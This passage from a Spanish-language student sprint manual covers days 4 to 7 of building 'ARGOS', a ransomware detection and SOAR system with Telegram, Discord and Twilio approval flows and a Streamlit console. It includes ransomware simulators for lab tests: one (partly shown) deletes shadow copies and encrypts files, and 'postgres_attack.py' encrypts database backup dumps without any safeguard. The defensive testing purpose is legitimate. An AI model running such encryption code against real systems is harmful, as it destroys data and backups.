    if args.target not in SAFETY_ALLOWED_TARGETS:
        print(f"REFUSED: target {args.target} not in allowlist {SAFETY_ALLOWED_TARGETS}")
        sys.exit(1)

    target_path = Path(args.path)
    if not target_path.exists():
        print(f"Target path {target_path} does not exist. Create it first.")
        sys.exit(1)

    if args.dry_run:
        print(f"[DRY RUN] Would attack {target_path}")
        print(f"[DRY RUN] Files to encrypt: {len(enumerate_files(target_path))}")
        return

```

```

print(f"[T1083] Enumerating {target_path}...")
files = enumerate_files(target_path)
print(f"  Found {len(files)} files")

time.sleep(1)

print("[T1490] Deleting shadow copies...")
delete_shadow_copies()

time.sleep(1)

print("[T1486] Encrypting...")
key = Fernet.generate_key()
n = encrypt_files(files, key)
print(f"  Encrypted {n} files")

drop_ransom_note(target_path)
print("[SIM] Attack chain complete. Key (DISCARDED):", key.decode())

if __name__ == "__main__":
    main()

```

Probar dry-run:

```

mkdir -p ~/Documents/argos_demo
echo "test" > ~/Documents/argos_demo/test.txt
python attack-simulation/ransomware_simulator/lockbit_like.py --target localhost --dry-run

```

Paso 4.2 — Integración con SOAR Decision Engine (2 horas)

Conecta los pedazos: cuando llegue una alerta de Wazuh por Redis stream, el SOAR la normaliza, clasifica el tier, opcionalmente pide enriquecimiento al LLM, y guarda Incident en Redis.

soar/decision_engine/orchestrator.py :

```

"""Decision Engine orchestrator. Subscribes to Redis stream, classifies, persists."""

import asyncio
import json
import redis
from datetime import datetime, timezone

from argos_contracts import (
    Incident, IncidentState, NormalizedAlert, Tier, ProposedAction, ActionType,
)
from soar.decision_engine.tier_classifier import classify
from soar.decision_engine.state_machine import IncidentStateMachine

async def consume_alerts():
    r = redis.from_url("redis://localhost:6379/0", decode_responses=True)
    sm = IncidentStateMachine()

    last_id = "$" # only new messages
    while True:
        messages = r.xread({"wazuh:alerts": last_id}, block=5000, count=10)
        for _stream, entries in messages:
            for entry_id, fields in entries:
                last_id = entry_id
                alert = NormalizedAlert.model_validate_json(fields["data"])
                # Classify
                tier = classify([alert], ml_score=None, canary_fired=False)
                # ...
                # (rest of orchestration on Day 5)

```

Por hoy solo el consumer básico.

Paso 4.3 — Primer ensayo UC-01 (1 hora)

Coordinas con P4 (que tenga el lab levantado) y P3 (que tenga al menos 2 reglas Sigma deployed):

1. P4 levanta lab, verifica Wazuh recibe eventos.
2. P3 verifica que su regla Sigma para `vssadmin delete shadows` está cargada.
3. P1 (tú) arranca el SOAR orchestrator + LLM Triage + Approval API.
4. P4 ejecuta el simulador: `python attack-simulation/ransomware_simulator/lockbit_like.py --target windows-victim --path 'C:\Users\Demo\Documents\argos_demo'`.
5. Verificas que Wazuh dispara la regla Sigma, llega a Redis, el SOAR clasifica como T0/T1, y el LLM enriquece.

Si no funciona, listas los puntos de falla y los discuten en standup mañana.

Paso 4.4 — Commit (10 min)

```

git add attack-simulation/ soar/decision_engine/orchestrator.py
git commit -m "feat(p1): ransomware simulator LockBit-like + SOAR orchestrator skeleton"
git push

```

Verificación EOD Día 4

- ☐ Simulator dry-run funciona en localhost
- ☐ Simulator real cifra archivos en directorio sandbox

- ☐ SOAR orchestrator consume Redis stream sin crash
 - ☐ Primer ensayo UC-01 con los 3 integrantes — si no funciona, lista de bugs documentada en Discord
-

Día 5 (Viernes) — Multi-channel notifications + Streamlit Approval Console

Goal del día: Telegram + Discord + Email funcionando, Streamlit Console básica mostrando estado del incidente en tiempo real.

Tiempo estimado: 7 horas (el día más largo).

Paso 5.1 — Telegram channel con botones inline JWT (1.5 horas)

`soar/notification/telegram_channel.py` :

```

"""Telegram notification channel per ADR-0007 v2 – primary, t=0."""

import os
from telegram import Bot, InlineKeyboardButton, InlineKeyboardMarkup

from argos_contracts import ApprovalRequest
from soar.approval.jwt_signer import JWTSigner

class TelegramChannel:
    def __init__(self, bot_token: str | None = None):
        self.bot = Bot(token=bot_token or os.environ["TELEGRAM_BOT_TOKEN"])
        self.signer = JWTSigner()
        self.approver_chat_ids = [
            int(cid) for cid in os.environ["TELEGRAM_APPROVER_CHAT_IDS"].split(",")
        ]
        self.api_base = os.environ.get(
            "APPROVAL_API_PUBLIC_URL", "http://localhost:8003"
        )

    async def send(self, req: ApprovalRequest) -> None:
        for chat_id in self.approver_chat_ids:
            approver_email = self._get_email_for_chat(chat_id)
            token = self.signer.sign(req.incident_id, approver_email)

            kb = InlineKeyboardMarkup([[
                InlineKeyboardButton("👍 Approve", url=f"{self.api_base}/approval/{token}?decision=approve"),
                InlineKeyboardButton("👎 Reject", url=f"{self.api_base}/approval/{token}?decision=reject"),
            ]])

            text = (
                f"📢 *ARGOS Alert {req.tier.value}*\n\n"
                f"📄 Incident: `{req.incident_id}`\n\n"
                f"📄 {req.alert_summary}\n\n"
                f"⏰ Timeout: {req.timeout_seconds}s"
            )
            await self.bot.send_message(
                chat_id=chat_id, text=text,
                reply_markup=kb, parse_mode="Markdown",
            )

    def _get_email_for_chat(self, chat_id: int) -> str:
        # mapping simple – en producción esto va a config
        return f"approver-{chat_id}@demo.local"

```

Paso 5.2 — Discord channel (45 min)

soar/notification/discord_channel.py :

```

"""Discord webhook per ADR-0007 v2 – team visibility, t=0."""

import os
import httpx
from argos_contracts import ApprovalRequest

class DiscordChannel:
    def __init__(self, webhook_url: str | None = None):
        self.webhook_url = webhook_url or os.environ["DISCORD_WEBHOOK_URL"]
        self.role_id = os.environ.get("DISCORD_APPROVERS_ROLE_ID", "")

    async def send(self, req: ApprovalRequest) -> None:
        mention = f"<@&{self.role_id}>" if self.role_id else ""
        embed = {
            "title": f" ARGOS {req.tier.value} – {req.incident_id}",
            "description": req.alert_summary,
            "color": {"T0": 0x991B1B, "T1": 0xC2410C, "T2": 0xA16207, "T3": 0x1D4ED8}[req.tier.value],
            "fields": [
                {"name": "Timeout", "value": f"{req.timeout_seconds}s", "inline": True},
            ],
        }
        async with httpx.AsyncClient() as c:
            await c.post(self.webhook_url, json={
                "content": f"{mention} Approval required",
                "embeds": [embed],
            })

```

Paso 5.3 — Streamlit Approval Console (3 horas)

ui/streamlit_app/pages/02_approval_console.py :

```

"""Approval Workflow Console per SAD §9.2.2."""

import time
import streamlit as st
from streamlit_autorefresh import st_autorefresh

from soar.decision_engine.state_machine import IncidentStateMachine

st_autorefresh(interval=2000, key="approval_refresh")
st.title("🔐 ARGOS – Approval Workflow Console")

sm = IncidentStateMachine()

# Sidebar – select incident
incident_id = st.sidebar.text_input("Incident ID", value="INC-2026-05-26-001")
incident = sm.load(incident_id)

if incident is None:
    st.warning(f"Incident {incident_id} not found. Live ones will appear here.")
    st.stop()

# Three columns
col1, col2, col3 = st.columns([1, 2, 1])

with col1:
    st.subheader("Incident Card")
    st.metric("Tier", incident.tier.value)
    st.write(f"***Host:** {incident.host.id}")
    st.write(f"***State:** `{incident.state.value}`")
    if incident.llm_analysis:
        with st.expander("LLM Analysis"):
            st.write(incident.llm_analysis.accion_recomendada)

with col2:
    st.subheader("Decision Matrix")
    for approver in incident.approvers:
        emoji = {
            "pending": "⏳", "approved": "✅",
            "rejected": "❌", "timeout": "⚡",
        }[approver.status.value]
        latency = (
            f"{approver.latency_seconds:.0f}s"
            if approver.latency_seconds else "-"
        )
        st.write(f"{emoji} {approver.email} ({approver.role}) · {latency}")

with col3:
    st.subheader("System Logic")
    st.write(f"State: **{incident.state.value}**")
    if incident.consolidation_window:
        elapsed = (time.time() - incident.consolidation_window.started_at.timestamp())
        remaining = max(0, incident.consolidation_window.duration_seconds - elapsed)
        st.metric("Consolidation window", f"{remaining:.0f}s")
        if incident.consolidation_window.conflict_detected:
            st.error("⚠️ CONFLICT DETECTED")
    if incident.final_decision:
        st.success(f"Final: {incident.final_decision.outcome}")
        st.caption(f"Policy: {incident.final_decision.policy_applied}")

```

Levantar:

```

streamlit run ui/streamlit_app/pages/02_approval_console.py
# abre http://localhost:8501

```


Paso 5.4 — Ensayo UC-02 (45 min)

Con P3 que tenga canaries puestos en lab y FIM monitoreando, y P4 con lab arriba:

1. Ejecutas un script que toque `db_backup.sql` (canary).
2. Wazuh dispara la regla custom canary, llega a Redis.
3. SOAR clasifica como T0 (canary alone).
4. Notificación va a Telegram + Discord.
5. Streamlit Console se actualiza mostrando T0 y aislamiento ejecutado.

Paso 5.5 — Commit (10 min)

```
git add soar/notification/ ui/
git commit -m "feat(pl): Telegram + Discord notifications + Streamlit Approval Console"
git push
```

Verificación EOD Día 5

- ☐ Telegram envía mensaje con botones inline funcionales
 - ☐ Discord webhook recibe embed con role mention
 - ☐ Streamlit Console muestra incident en tiempo real
 - ☐ Ensayo UC-02 ejecuta end-to-end con los 3 integrantes
-

Día 6 (Sábado) — Two-person rule + Twilio Voice + UC-04

Goal del día: UC-04 con two-person rule funcional, Twilio Voice escalación operativa.

Tiempo estimado: 6 horas.

Paso 6.1 — Twilio Voice DTMF (2.5 horas)

`soar/notification/twilio_voice_channel.py` :

```

"""Twilio Voice DTMF per ADR-0007 v2 - escalation at t=60s."""

import os
from twilio.rest import Client
from argos_contracts import ApprovalRequest

class TwilioVoiceChannel:
    def __init__(self):
        self.client = Client(
            os.environ["TWILIO_ACCOUNT_SID"],
            os.environ["TWILIO_AUTH_TOKEN"],
        )
        self.from_number = os.environ["TWILIO_FROM_NUMBER"]
        self.to_numbers = os.environ["TWILIO_APPROVER_PHONES"].split(",")

    async def send(self, req: ApprovalRequest) -> None:
        twiml_url = f"{os.environ['APPROVAL_API_PUBLIC_URL']}/voice/twiml/{req.incident_id}"
        for phone in self.to_numbers:
            self.client.calls.create(
                to=phone, from_=self.from_number, url=twiml_url,
            )

```

Endpoint TwiML en `soar/approval/api.py` :

```

@app.get("/voice/twiml/{incident_id}", response_class=Response)
async def voice_twiml(incident_id: str) -> Response:
    twiml = f"""<?xml version="1.0" encoding="UTF-8"?>
<Response>
  <Gather numDigits="1" action="/voice/handle/{incident_id}" timeout="10">
    <Say language="es-MX" voice="alice">
      Alerta crítica de ARGOS. Tier T2 en host. Throttle activo.
      Presione 1 para aprobar aislamiento. Presione 2 para rechazar.
    </Say>
  </Gather>
</Response>"""
    return Response(content=twiml, media_type="application/xml")

@app.post("/voice/handle/{incident_id}")
async def voice_handle(incident_id: str, Digits: str = ""):
    decision = "approve" if Digits == "1" else "reject"
    # Process decision
    return Response(content='<?xml version="1.0"?><Response><Say>Gracias</Say></Response>', media_type="application/xml")

```

Paso 6.2 — UC-04 PostgreSQL variant (1.5 horas)

`attack-simulation/ransomware_simulator/postgres_attack.py` :

```

"""UC-04 – attack on PostgreSQL data directory + dumps."""

import argparse
from pathlib import Path
from cryptography.fernet import Fernet

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True)
    parser.add_argument("--postgres-data", default="/var/lib/postgresql/15/main")
    parser.add_argument("--postgres-backups", default="/var/backups/postgres")
    args = parser.parse_args()

    # Encrypt pg_dump exports
    backup_dir = Path(args.postgres_backups)
    if backup_dir.exists():
        dumps = list(backup_dir.glob("*.sql"))
        key = Fernet.generate_key()
        cipher = Fernet(key)
        for d in dumps:
            data = d.read_bytes()
            d.write_bytes(cipher.encrypt(data))
            d.rename(d.with_suffix(".sql.locked"))
        print(f"Encrypted {len(dumps)} pg_dump files")
    else:
        print(f"Backup dir {backup_dir} not found – coordinate with P4")

if __name__ == "__main__":
    main()

```

Paso 6.3 — Two-person rule wiring (1 hora)

Integra `is_two_person_rule()` y `resolve_two_person()` en el SOAR orchestrator. Cuando llega un incidente, verifica `incident.host.criticality == PRODUCTION_CRITICAL` y enruta diferente.

Paso 6.4 — Ensayo UC-04 (45 min)

Con P4 que tenga PostgreSQL + lab arriba, los 4 integrantes con celulares listos:

1. P4 ejecuta `postgres_attack.py`.
2. Sigma + ML disparan, SOAR detecta `criticality=production-critical` → two-person rule.
3. Los 4 reciben Telegram. P1 y P2 aprueban. P3 espera. P4 timeout.
4. Sistema espera 2 aprobaciones, ejecuta cuando llega la segunda.

Paso 6.5 — Commit (10 min)

```

git add soar/ attack-simulation/ransomware_simulator/postgres_attack.py
git commit -m "feat(p1): Twilio Voice DTMF + UC-04 postgres simulator + two-person rule wiring"
git push

```

Verificación EOD Día 6

- ☐ Twilio Voice llama y reproduce TwiML
- ☐ DTMF 1 registra approve, DTMF 2 registra reject
- ☐

Simulador postgres_attack cifra dumps en lab

- ☐ Two-person rule espera 2 approves antes de ejecutar
 - ☐ Ensayo UC-04 funcional con 4 integrantes
-

Día 7 (Domingo) — Rehearsals + bug bash

Goal del día: los 3 use cases ensayados 5 veces sin crashear, bug bash de cualquier issue residual, vídeo de respaldo grabado.

Tiempo estimado: 6 horas distribuidas en mañana, tarde, noche.

Mañana (9-13h) — Rehearsals

5 corridas seguidas de cada UC con cronómetro. Anotas en `docs/rehearsal-week1.md`:

- Tiempo total UC-01
- Tiempo total UC-02
- Tiempo total UC-04
- Bugs encontrados (en formato Discord para tracking)

Tarde (14-18h) — Bug bash

Cada integrante toma 2-3 bugs de la lista. Te toca a ti (P1) los bugs relacionados con SOAR / LLM / Approval / Streamlit. Bugs típicos a esperar:

- Telegram pierde mensaje cuando hay 4 messages simultáneos
- Streamlit no refresca a 2s sino a 5s (subir frecuencia)
- JWT token expira muy rápido en demo (subir a 10 min)
- LLM tarda 3s en responder, demo se siente lento (cachear respuestas comunes con `DEMO_MODE=true`)

Noche (19-21h) — Vídeo de respaldo

P4 graba video del demo completo en buenas condiciones (con OBS o similar). Tú narras encima. Lo guardas en USB + Drive para que en el día del demo si todo se cae, narras sobre el video.

Entregable del día

`docs/PROJECT_STATUS.md` actualizado con honest status: qué funciona, qué falla, lista priorizada de bugs para la semana siguiente.

```
# Update PROJECT_STATUS.md con sección nueva
git add docs/PROJECT_STATUS.md
git commit -m "docs: sprint week 1 retrospective + status update"
git push
```

Verificación EOD Día 7

- ☐ 5 rehearsals de UC-01 exitosos (ninguno crashea)
 - ☐ 5 rehearsals de UC-02 exitosos
 - ☐ 5 rehearsals de UC-04 exitosos
 - ☐ Video de respaldo grabado y backed up en USB + Drive
 - ☐ PROJECT_STATUS.md actualizado con estado real
 - ☐ Lista de bugs P1/P2/P3 priorizada para semana 2
-

Apéndice A — Comandos diarios que vas a usar todo el tiempo

```
# Activar env
cd ~/projects/argos && source .venv/bin/activate

# Levantar todos los servicios P1 (en terminales separadas)
LLM_BACKEND=openai uvicorn llm_triage.api.main:app --port 8002 --reload
uvicorn soar.approval.api:app --port 8003 --reload
streamlit run ui/streamlit_app/pages/02_approval_console.py

# Tests rápidos
pytest argos_contracts/tests/ soar/tests/ -x # -x para detener en primer fail

# Reload Ollama (si Llama no responde)
pkill ollama && ollama serve &

# Limpiar Redis
redis-cli FLUSHDB

# Ver alertas en Redis stream
redis-cli XRANGE wazuh:alerts - +
```

Apéndice B — Cuando algo se rompa

Síntoma	Diagnóstico rápido	Fix
<code>/trriage</code> devuelve 500	OpenAI key, Ollama down, o validation error	Check logs uvicorn. Probar con <code>LLM_BACKEND=llama_local</code>
Telegram no envía	Token mal, chat_id wrong, o bot bloqueado	<code>curl https://api.telegram.org/bot\$TELEGRAM_BOT_TOKEN/getMe</code>
Streamlit no refresca	<code>streamlit-autorefresh</code> no instalado	<code>pip install streamlit-autorefresh</code>
Redis connection refused	Servicio no corriendo	<code>brew services start redis</code> o <code>sudo systemctl start redis</code>
JWT InvalidSignatureError	<code>JWT_SECRET</code> distinto entre signer y verifier	Verificar <code>.env</code> cargado en ambos procesos
Twilio "trial accounts can only call verified numbers"	Número no verificado en Twilio	Console Twilio → Verified Caller IDs → add
Approval API 401 con token válido	Reloj desfasado entre máquinas	<code>ntpdate -s time.nist.gov</code> (Linux) o sync automático

Apéndice C — Si llegas hasta acá y todo funciona

Felicidades, completaste el sprint de la semana 1. Las semanas 2 y 3 son para:

1. UC-03 split-brain centerpiece (semana 2)
2. Calibración Q5 thresholds con dataset real (semana 2)
3. UC-05 stealth attack (semana 2 opcional)
4. Informe técnico final (semana 3)
5. 10 rehearsals con timing perfecto (semana 3)
6. Polish del video demo (semana 3)
7. Slide deck (semana 3)

Si llegas a Día 7 con UC-01 + UC-02 + UC-04 corriendo end-to-end, **tienes la nota de implementación funcional asegurada**. El resto es polish.

Change log

Versión	Fecha	Cambio	Autor
1.0	2026-05-24	Initial detailed manual for P1. 7-day plan with commands, code snippets, verification steps, common bloqueos.	P1